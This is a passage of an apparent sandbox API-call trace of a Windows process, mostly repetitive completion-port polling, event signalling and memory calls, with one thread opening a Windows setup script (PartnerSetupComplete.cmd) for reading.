	[0078.837] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x38f, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0079.797] SetEvent (hEvent=0xd4) returned 1
	[0079.797] SetEvent (hEvent=0x188) returned 1
	[0079.797] VirtualFree (lpAddress=0xc000426000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0079.798] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0081.057] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0081.589] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0082.199] VirtualFree (lpAddress=0xc00041c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.199] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x67, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0082.594] SetEvent (hEvent=0xd4) returned 1
	[0082.594] SetEvent (hEvent=0xfc) returned 1
	[0082.594] VirtualFree (lpAddress=0xc000418000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.595] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0082.724] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0xa, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0082.846] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x29, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0082.945] SetEvent (hEvent=0xfc) returned 1
	[0082.946] SetEvent (hEvent=0xf0) returned 1
	[0082.946] VirtualFree (lpAddress=0xc000410000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.946] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x4d, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0083.054] SetEvent (hEvent=0xfc) returned 1
	[0083.054] VirtualFree (lpAddress=0xc00040e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.054] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x57, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0083.186] SetEvent (hEvent=0xf0) returned 1
	[0083.186] SetEvent (hEvent=0xd4) returned 1
	[0083.186] VirtualFree (lpAddress=0xc00040c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.187] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0xab, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0083.410] SetEvent (hEvent=0xf0) returned 1
	[0083.410] SetEvent (hEvent=0xfc) returned 1
	[0083.410] VirtualFree (lpAddress=0xc00040a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.411] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0083.504] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0083.544] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0083.582] SetEvent (hEvent=0xfc) returned 1
	[0083.582] VirtualFree (lpAddress=0xc0003ee000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.591] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x217, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.192] SetEvent (hEvent=0xf0) returned 1
	[0084.192] VirtualFree (lpAddress=0xc0003ea000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.198] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x257, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.809] SetEvent (hEvent=0xd4) returned 1
	[0084.809] VirtualFree (lpAddress=0xc0003e8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.809] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.819] SetEvent (hEvent=0xd4) returned 1
	[0084.819] SetEvent (hEvent=0xf0) returned 1
	[0084.819] VirtualFree (lpAddress=0xc0003e4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.820] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.858] SetEvent (hEvent=0xf0) returned 1
	[0084.858] SetEvent (hEvent=0xd4) returned 1
	[0084.859] VirtualFree (lpAddress=0xc0003e0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.859] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.864] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.875] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x34, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.992] SetEvent (hEvent=0xd4) returned 1
	[0084.992] SetEvent (hEvent=0xf0) returned 1
	[0084.992] VirtualFree (lpAddress=0xc0003d8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.992] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0084.996] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.000] VirtualFree (lpAddress=0xc0003d0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.000] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.004] SetEvent (hEvent=0x188) returned 1
	[0085.004] SetEvent (hEvent=0xf0) returned 1
	[0085.004] VirtualFree (lpAddress=0xc0003ce000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.004] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.005] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.057] SetEvent (hEvent=0xf0) returned 1
	[0085.057] SetEvent (hEvent=0x188) returned 1
	[0085.057] VirtualFree (lpAddress=0xc0003cc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.058] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x25, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.197] SetEvent (hEvent=0x188) returned 1
	[0085.197] SetEvent (hEvent=0xf0) returned 1
	[0085.197] VirtualFree (lpAddress=0xc0003ca000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.197] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.274] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.331] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0xf, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.378] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.426] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.479] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x21, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.558] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.598] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2c, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.681] SetEvent (hEvent=0x188) returned 1
	[0085.681] SetEvent (hEvent=0xd4) returned 1
	[0085.681] VirtualFree (lpAddress=0xc0003b8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.681] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.724] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2e, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.779] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.823] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.863] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0085.968] SetEvent (hEvent=0xd4) returned 1
	[0085.968] VirtualFree (lpAddress=0xc0003aa000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.968] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x2, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.011] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x38, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.085] SetEvent (hEvent=0xd4) returned 1
	[0086.085] SetEvent (hEvent=0xf0) returned 1
	[0086.085] VirtualFree (lpAddress=0xc0003a6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.085] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.102] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.115] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.118] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.122] SetEvent (hEvent=0xf0) returned 1
	[0086.122] SetEvent (hEvent=0xd4) returned 1
	[0086.122] VirtualFree (lpAddress=0xc00039c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.122] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.124] SetEvent (hEvent=0xd4) returned 1
	[0086.124] SetEvent (hEvent=0xf0) returned 1
	[0086.124] VirtualFree (lpAddress=0xc00039a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.124] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.128] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x4b, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.213] SetEvent (hEvent=0x188) returned 1
	[0086.213] SetEvent (hEvent=0xf0) returned 1
	[0086.213] VirtualFree (lpAddress=0xc000396000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.213] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.216] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.219] SetEvent (hEvent=0xd4) returned 1
	[0086.219] SetEvent (hEvent=0xf0) returned 1
	[0086.219] VirtualFree (lpAddress=0xc000390000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.220] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x4a, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.303] SetEvent (hEvent=0xd4) returned 1
	[0086.303] SetEvent (hEvent=0x188) returned 1
	[0086.303] VirtualFree (lpAddress=0xc00038e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.304] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.305] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.307] SetEvent (hEvent=0xd4) returned 1
	[0086.307] SetEvent (hEvent=0xf0) returned 1
	[0086.307] VirtualFree (lpAddress=0xc00038c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.308] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.312] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x42, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.396] SetEvent (hEvent=0xf0) returned 1
	[0086.396] SetEvent (hEvent=0xd4) returned 1
	[0086.396] VirtualFree (lpAddress=0xc000388000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.397] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.403] SetEvent (hEvent=0xd4) returned 1
	[0086.403] SetEvent (hEvent=0xf0) returned 1
	[0086.403] VirtualFree (lpAddress=0xc000386000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.403] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.408] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x9301ff2f0, ulCount=0x10, ulNumEntriesRemoved=0x9301ff2c8, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x9301ff2f0, ulNumEntriesRemoved=0x9301ff2c8) returned 0
	[0086.413] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) 

Thread:
	id = 5
	os_tid = 0x1124

	[0049.738] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x9303ff6f0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x9303ff6f0*=0xec) returned 1
	[0049.738] VirtualQuery (in: lpAddress=0x9303ff710, lpBuffer=0x9303ff710, dwLength=0x30 | out: lpBuffer=0x9303ff710*(BaseAddress=0x9303ff000, AllocationBase=0x930200000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0049.738] VirtualAlloc (lpAddress=0xc00003c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00003c000
	[0049.739] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0
	[0049.739] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf4
	[0049.739] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0050.559] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.258] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.355] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.370] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.394] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.405] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.429] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.451] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.508] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.511] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.515] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0069.530] SetEvent (hEvent=0xfc) returned 1
	[0069.530] WriteFile (in: hFile=0x0, lpBuffer=0xc0000980a0, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0) returned 0
	[0069.530] VirtualAlloc (lpAddress=0xc0000fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fe000
	[0069.531] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000181d94, lpOverlapped=0x0) returned 0
	[0069.531] VirtualAlloc (lpAddress=0xc000188000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000188000
	[0069.531] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0069.533] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000181bf4 | out: lpMode=0xc000181bf4) returned 0
	[0069.533] GetFileType (hFile=0x164) returned 0x1
	[0069.533] VirtualAlloc (lpAddress=0xc00018a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018a000
	[0069.533] GetFileType (hFile=0x164) returned 0x1
	[0069.533] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000181c44 | out: lpFileInformation=0xc000181c44) returned 1
	[0069.533] GetProcAddress (hModule=0x7ffce9120000, lpProcName="GetFileInformationByHandleEx") returned 0x7ffce9156ec0
	[0069.534] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000181c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000181c28) returned 1
	[0069.534] VirtualAlloc (lpAddress=0xc00018c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018c000
